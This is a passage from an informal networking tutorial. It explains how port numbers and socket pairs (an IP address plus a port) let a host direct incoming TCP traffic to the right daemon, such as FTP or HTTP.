transferred to the destination, where the chunks are rearranged. But there is
yet another aspect to a successful data transfer process, which we have not
discussed yet: The Application Protocols and the Application Layer itself. A
host which receives datagrams has many applications or services (daemons)
running which are ready to establish a TCP connection and accept a message.
Datagrams travelling on the Internet must know which application they have to
establish connection with, which application they have to send the message to. A
typical web server will have the FTP daemon, the HTTP daemon, the POP daemon,
and the SMTP daemon running.
Wouldn't the datagrams get confused as to which daemon to send the message to.
For the datagrams to know which computer to send the message to, we have IP
addresses. The datagram knows what daemon or application to send the message to
by the Port Number attached to the IP address of the Destination. A TCP address
is actually fully described by 4 numbers; The IP address of the Source and
Destination and the TCP Port Numbers of each end to which data is to be sent.
These numbers are found in the TCP Header.
To make it simpler to understand I have included an excerpt from the Net Tools
Chapter:
What is all the hype about socket programming? What exactly are sockets?
TCP\IP or Transmission Control Protocol\ Internet Protocol is the language or
the protocol used by computers to communicate with each other over the Internet.
Say a computer whose IP address is 99.99.99.99 wants to communicate with another
machine whose IP address is 98.98.98.98 then would will happen?
The machine whose IP is 99.99.99.99 sends a packet addressed to another machine
whose IP is
98.98.98.98. When 98.98.98.98 receives the packet then it verifies that it got
the message by sending a
signal back to 99.99.99.99.But say the person who is using 99.99.99.99 wants to
have simultaneously more
than one connections to 98.98.98.98.....then what will happen? Say 99.99.99.99
wants to connect to
the FTP daemon and download a file by FTP and at the same time it wants to
connect to 98.98.98.98's
website i.e. The HTTP daemon. Then 98.98.98.98. will have 2 connects with
99.99.99.99 simultaneously. Now how can 98.98.98.98.distinguish between the two
connections...how does 98.98.98.98. know which
is for the FTP daemon and which for the HTTP daemon? If there was no way to
distinguish between the
two connections then they would both get mixed up and there would be a lot of
chaos with the message
meant for the HTTP daemon going to the FTP daemon. To avoid such confusion we
have ports. At each
port a particular service or daemon is running by default. So now that the
99.99.99.99 computers knows
which port to connect to, to download a FTP file and which port to connect to,
to download the web page,
it will communicate with the 98.98.98.98 machine using what is known as the
socket pair which is a
combination of an IP address and a Port. So in the above case the message which
is meant for the FTP daemon will be addressed to 98.98.98.98 : 21 (Notice the
colon and the default FTP port suceeding it.).
So that the receiving machine i.e. 98.98.98.98 will know for which service this
message is meant for and to
which port it should be directed to.
In TCP\IP or over the Internet all communication is done using the Socket pair
i.e. the combination of the IP address and the port.